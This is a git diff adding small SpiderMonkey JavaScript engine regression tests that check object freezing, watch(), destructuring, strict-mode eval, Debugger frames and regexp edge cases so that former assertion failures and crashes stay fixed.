diff --git a/js/src/tests/js1_8_5/regress/regress-633741.js b/js/src/tests/js1_8_5/regress/regress-633741.js
new file mode 100644
index 000000000..6ec1c9261
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-633741.js
@@ -0,0 +1,18 @@
+// |reftest| skip
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jan de Mooij
+ */
+
+Object.preventExtensions(this);
+delete Function;
+
+try {
+ /* Don't assert. */
+ Object.getOwnPropertyNames(this);
+} catch(e) {
+ reportCompare(true, false, "this shouldn't have thrown");
+}
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-1.js b/js/src/tests/js1_8_5/regress/regress-634210-1.js
new file mode 100644
index 000000000..02a1e14f1
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-1.js
@@ -0,0 +1,11 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {}
+f.p = function() {};
+Object.freeze(f);
+f.p;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-2.js b/js/src/tests/js1_8_5/regress/regress-634210-2.js
new file mode 100644
index 000000000..28adc5552
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-2.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {writable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-3.js b/js/src/tests/js1_8_5/regress/regress-634210-3.js
new file mode 100644
index 000000000..e3ec7d81b
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = [];
+for (var i = 0; i < 2; i++) {
+ a[i] = {m: function () {}};
+ Object.defineProperty(a[i], "m", {configurable: false});
+}
+assertEq(a[0].m === a[1].m, false);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-634210-4.js b/js/src/tests/js1_8_5/regress/regress-634210-4.js
new file mode 100644
index 000000000..e4ff870d5
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-634210-4.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function outer() {
+ function f() {}
+ f.p = function() {};
+ Object.seal(f);
+ return f.p;
+}
+
+var m1 = outer();
+var m2 = outer();
+assertEq(m1 === m2, false);
+
+m1.foo = "hi";
+assertEq(m2.foo, undefined);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-635195.js b/js/src/tests/js1_8_5/regress/regress-635195.js
new file mode 100644
index 000000000..89980b05a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-635195.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var obj = {set x(v) {}};
+obj.watch("x", function() { delete obj.x; });
+obj.x = "hi"; // don't assert
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-636364.js b/js/src/tests/js1_8_5/regress/regress-636364.js
new file mode 100644
index 000000000..02df9878a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-636364.js
@@ -0,0 +1,29 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Jason Orendorff, Brendan Eich
+ */
+
+if (typeof newGlobal == 'function') {
+ var gsame = newGlobal('same-compartment');
+
+ gsame.eval("function f() { return this; }");
+ f = gsame.f;
+ assertEq(f(), gsame);
+
+ gsame.eval("function g() { 'use strict'; return this; }");
+ g = gsame.g;
+ assertEq(g(), undefined);
+
+ var gnew = newGlobal();
+
+ gnew.eval("function f() { return this; }");
+ f = gnew.f;
+ assertEq(f(), gnew);
+
+ gnew.eval("function g() { 'use strict'; return this; }");
+ g = gnew.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-636394.js b/js/src/tests/js1_8_5/regress/regress-636394.js
new file mode 100644
index 000000000..d1a249786
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-636394.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = {p0: function () {}};
+var b = /f/;
+b.__proto__ = a;
+b.watch("p0", function () {});
+b.p0;
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-640075.js b/js/src/tests/js1_8_5/regress/regress-640075.js
new file mode 100644
index 000000000..449c6ef08
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-640075.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+"use strict";
+try {
+ eval("(function() { eval(); function eval() {} })");
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, "SyntaxError");
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-642247.js b/js/src/tests/js1_8_5/regress/regress-642247.js
new file mode 100644
index 000000000..318079d72
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-642247.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof timeout == "function") {
+ assertEq(typeof timeout(), "number");
+ assertEq(typeof timeout(1), "undefined");
+}
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/js1_8_5/regress/regress-643222.js b/js/src/tests/js1_8_5/regress/regress-643222.js
new file mode 100644
index 000000000..52d3aa9cd
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-643222.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* This shouldn't trigger an assertion. */
+(function () {
+ eval("var x=delete(x)")
+})();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-1.js b/js/src/tests/js1_8_5/regress/regress-646820-1.js
new file mode 100644
index 000000000..535878d50
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-1.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [1, function () x];
+ assertEq(y(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-2.js b/js/src/tests/js1_8_5/regress/regress-646820-2.js
new file mode 100644
index 000000000..a6c9d5a81
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-2.js
@@ -0,0 +1,11 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var obj = {prop: 1};
+ var [x, {prop: y}] = [function () y, obj];
+ assertEq(y, 1);
+ assertEq(x(), 1);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-646820-3.js b/js/src/tests/js1_8_5/regress/regress-646820-3.js
new file mode 100644
index 000000000..392a4345d
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-646820-3.js
@@ -0,0 +1,9 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+(function () {
+ var [x, y] = [function () y, 13];
+ assertEq(x(), 13);
+})();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-665355.js b/js/src/tests/js1_8_5/regress/regress-665355.js
new file mode 100644
index 000000000..ef91161c4
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-665355.js
@@ -0,0 +1,16 @@
+var x = new ArrayBuffer(2);
+
+var test = function(newProto) {
+try {
+ x.__proto__ = newProto;
+ return false;
+} catch(e) {
+ return true;
+}
+}
+
+assertEq(test(x), true);
+assertEq(test({}), true);
+assertEq(test(null), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/regress/regress-672892.js b/js/src/tests/js1_8_5/regress/regress-672892.js
new file mode 100644
index 000000000..57c8732eb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-672892.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+with (0)
+ for (var b in 0) // don't assert in parser
+ ;
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-672893.js b/js/src/tests/js1_8_5/regress/regress-672893.js
new file mode 100644
index 000000000..497b6132f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-672893.js
@@ -0,0 +1,18 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function f() {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function () {
+ return function () { return function () { return function (a) {
+ var v = a;
+ assertEq(v, 42);
+ return function() { return v; };
+ }; }; }; }; }; }; }; }; }; }; }; }; }; }; };
+};
+
+assertEq(f()()()()()()()()()()()()()()()(42)(), 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-694306.js b/js/src/tests/js1_8_5/regress/regress-694306.js
new file mode 100644
index 000000000..84bfc1ded
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-694306.js
@@ -0,0 +1,21 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x;
+try {
+ eval("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+assertEq("if" in this, false);
+
+x = undefined;
+try {
+ Function("var {if} = {'if': 1};");
+} catch (exc) {
+ x = exc;
+}
+assertEq(x instanceof SyntaxError, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-1.js b/js/src/tests/js1_8_5/regress/regress-698028-1.js
new file mode 100644
index 000000000..fb1876b27
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-1.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+{
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ eval("");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-2.js b/js/src/tests/js1_8_5/regress/regress-698028-2.js
new file mode 100644
index 000000000..09bdf2639
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalInFrame
+//
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var g = newGlobal();
+var dbg = new g.Debugger(this);
+
+if (typeof evalInFrame === 'function') {
+ let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f,
+ x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f,
+ x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f,
+ x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f,
+ x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f,
+ x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f,
+ x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f,
+ x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f,
+ x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f,
+ x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f,
+ xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf,
+ xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf,
+ xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf,
+ xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf,
+ xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef,
+ xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff;
+ evalInFrame(1, "");
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-698028-3.js b/js/src/tests/js1_8_5/regress/regress-698028-3.js
new file mode 100644
index 000000000..7dba2d954
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-698028-3.js
@@ -0,0 +1,15 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof Debugger === 'function') {
+ var g = newGlobal();
+ var dbg = new Debugger(g);
+ dbg.onDebuggerStatement = function (frame) { frame.eval(''); };
+ var s = '{ let ';
+ for (var i = 0; i < 128; i++)
+ s += 'x' + i + ', ';
+ s += 'X = 0; debugger; }';
+ g.eval(s);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-699682.js b/js/src/tests/js1_8_5/regress/regress-699682.js
new file mode 100644
index 000000000..ad1b4e41e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-699682.js
@@ -0,0 +1,29 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Don't assert trying to parse any of these.
+var a = ["({''})",
+ "({''} = {})",
+ "var {''};",
+ "var {'', a} = {a: 0};",
+ "var {'bad'};",
+ "({'bad'} = {bad: 0});",
+ "var {'if'};",
+ "function f({''}) {}",
+ "function f({a, 'bad', c}) {}"];
+
+var x;
+for (var i = 0; i < a.length; i++) {
+ x = undefined;
+ try {
+ eval(a[i]);
+ } catch (exc) {
+ x = exc;
+ }
+ assertEq(x instanceof SyntaxError, true);
+}
+assertEq("" in this, false);
+assertEq("bad" in this, false);
+assertEq("if" in this, false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-736792.js b/js/src/tests/js1_8_5/regress/regress-736792.js
new file mode 100644
index 000000000..01744f6a8
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-736792.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if (typeof options == "function") {
+ var opts = options();
+ if (!/\bstrict_mode\b/.test(opts))
+ options("strict_mode");
+}
+
+var ok = false;
+try {
+ eval('foo = true;');
+} catch (e) {
+ if (/^ReferenceError:/.test(e.toString()))
+ ok = true;
+}
+
+if (ok)
+ reportCompare(0, 0, "ok");
+else
+ reportCompare(true, false, "this should have thrown a ReferenceError");
diff --git a/js/src/tests/js1_8_5/regress/regress-810525.js b/js/src/tests/js1_8_5/regress/regress-810525.js
new file mode 100644
index 000000000..520ca413e
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-810525.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = '';
+var actual = '';
+
+function test(s) {
+ var threw = false;
+ try {
+ eval(s);
+ } catch (e) {
+ assertEq(e.message.indexOf('(intermediate value)'), -1);
+ threw = true;
+ } finally {
+ assertEq(threw, true);
+ }
+}
+
+test("({p:1, q:2}).m()");
+test("[].m()");
+test("[1,2,3].m()");
+test("/hi/.m()");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js
new file mode 100644
index 000000000..1b31f3c53
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js
@@ -0,0 +1,20 @@
+function toSource(o) { return o === null ? "null" : o.toSource(); }
+
+var gcgcz = /((?:.)+)((?:.)*)/; /* Greedy capture, greedy capture zero. */
+reportCompare(["a", "a", ""].toSource(), gcgcz.exec("a").toSource());
+reportCompare(["ab", "ab", ""].toSource(), gcgcz.exec("ab").toSource());
+reportCompare(["abc", "abc", ""].toSource(), gcgcz.exec("abc").toSource());
+
+reportCompare(["a", ""].toSource(), toSource(/((?:)*?)a/.exec("a")));
+reportCompare(["a", ""].toSource(), toSource(/((?:.)*?)a/.exec("a")));
+reportCompare(["a", ""].toSource(), toSource(/a((?:.)*)/.exec("a")));
+
+reportCompare(["B", "B"].toSource(), toSource(/([A-Z])/.exec("fooBar")));
+
+// These just mustn't crash. See bug 872971
+try { reportCompare(/x{2147483648}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483648,}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483647,2147483648}x/.test('1'), false); } catch (e) {}
+// Same for these. See bug 813366
+try { reportCompare("".match(/.{2147483647}11/), null); } catch (e) {}
+try { reportCompare("".match(/(?:(?=g)).{2147483648,}/ + ""), null); } catch (e) {}
diff --git a/js/src/tests/js1_8_5/regress/shell.js b/js/src/tests/js1_8_5/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/shell.js